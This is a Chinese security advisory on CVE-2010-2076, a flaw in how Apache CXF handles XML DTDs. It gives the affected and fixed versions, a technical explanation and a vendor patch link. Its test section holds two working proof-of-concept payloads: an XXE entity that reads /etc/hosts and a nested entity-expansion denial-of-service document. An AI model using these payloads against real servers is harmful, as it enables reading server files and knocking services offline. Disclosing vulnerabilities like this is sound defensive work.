Apache CXF XML文档类型声明处理漏洞发布日期:2010-06-16
更新日期:2010-08-18受影响系统:
Apache Group CXF 2.2
Apache Group CXF 2.1
Apache Group CXF 2.0
不受影响系统:
Apache Group CXF 2.2.9
Apache Group CXF 2.1.10
Apache Group CXF 2.0.13
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 42492
CVE(CAN) ID: CVE-2010-2076Apache CXF是一个开源服务框架,用于使用JAX-WS、JAX-RS等前端编程API编译和开发服务。CXF没有正确地限制处理XML文档类型声明(DTD),远程攻击者可以通过提交恶意请求读取本地文件内容或耗尽CPU或内存资源。根据SOAP 1.1规范的规定,SOAP消息总不能包含有文档类型声明(DTD)。在CXF中,是通过ReadHeadersInterceptor类来实现这个限制的。这个方法存在两个问题:1 仅适用于SOAP绑定,而支持纯XML消息的HTTP绑定仍允许请求消息中存在DTD。 2 在处理带有DTD的文档时,仅在从StAX解析器接收到DTD事件后才会报告错误,而这时StAX解析器可能已经处理或部分处理了DTD。 这说明CXF受基于DTD的XML攻击的影响。有两种类型的攻击:* DTD可能引用其他的文档,也就是内部子集中所声明的DTD或外部实体。如果对XML解析器配置了默认的实体解析器(在本文所述情况下为CXF),就会允许攻击者要求解析器访问任意文件。由于可能将URL用作系统ID,这包括仅可在服务器所部署的网络中访问的远程资源。* 尽管XML不允许递归实体定义,但允许嵌套的实体定义。如果文档中包含有深度嵌套的实体定义,解析该文档就会在实体展开期间导致非常高的CPU和内存消耗。<*来源:Daniel Kulp
链接:http://secunia.com/advisories/40969/
http://svn.apache.org/repos/asf/cxf/trunk/security/CVE-2010-2076.pdf
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!<!DOCTYPE requestType [
<!ENTITY file SYSTEM "/etc/hosts">
]>
<requestType
xmlns="http://apache.org/hello_world_xml_http/bare/types">
&file;
</requestType>
<!DOCTYPE root [
<!ENTITY x32 "foobar">
<!ENTITY x31 "&x32;&x32;">
<!ENTITY x30 "&x31;&x31;">
<!ENTITY x29 "&x30;&x30;">
<!ENTITY x28 "&x29;&x29;">
<!ENTITY x27 "&x28;&x28;">
<!ENTITY x26 "&x27;&x27;">
<!ENTITY x25 "&x26;&x26;">
<!ENTITY x24 "&x25;&x25;">
<!ENTITY x23 "&x24;&x24;">
<!ENTITY x22 "&x23;&x23;">
<!ENTITY x21 "&x22;&x22;">
<!ENTITY x20 "&x21;&x21;">
<!ENTITY x19 "&x20;&x20;">
<!ENTITY x18 "&x19;&x19;">
<!ENTITY x17 "&x18;&x18;">
<!ENTITY x16 "&x17;&x17;">
<!ENTITY x15 "&x16;&x16;">
<!ENTITY x14 "&x15;&x15;">
<!ENTITY x13 "&x14;&x14;">
<!ENTITY x12 "&x13;&x13;">
<!ENTITY x11 "&x12;&x12;">
<!ENTITY x10 "&x11;&x11;">
<!ENTITY x9 "&x10;&x10;">
<!ENTITY x8 "&x9;&x9;">
<!ENTITY x7 "&x8;&x8;">
<!ENTITY x6 "&x7;&x7;">
<!ENTITY x5 "&x6;&x6;">
<!ENTITY x4 "&x5;&x5;">
<!ENTITY x3 "&x4;&x4;">
<!ENTITY x2 "&x3;&x3;">
<!ENTITY x1 "&x2;&x2;">
]>
<root attr=”&x1;”/>建议:
--------------------------------------------------------------------------------
厂商补丁:Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:http://geronimo.apache.org/2010/07/21/apache-geronimo-v216-released.htmlApache CouchDB跨站请求伪造漏洞FreeBSD setusercontext()函数绕过安全限制漏洞相关资讯 漏洞
- 快递官网漏洞泄露 1400 万用户信息 (08/12/2014 08:37:42)
- 要389目录服务器访问绕过漏洞 (10/01/2012 09:18:08)
- ASUS Net4Switch "ipswcom.dll" (03/02/2012 09:32:42)
| - 软件漏洞是一笔大买卖! (10/06/2012 08:28:32)
- PHPCMS V9.1.13任意文件包含漏洞分 (08/01/2012 07:23:17)
- Open Handset Alliance Android (03/01/2012 06:59:34)
|
本文评论 查看全部评论 (0)
评论声明- 尊重网上道德,遵守中华人民共和国的各项有关法律法规
- 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
- 本站管理人员有权保留或删除其管辖留言中的任意内容
- 本站有权在网站内转载或引用您的评论
- 参与本评论即表明您已经阅读并接受上述条款
|
|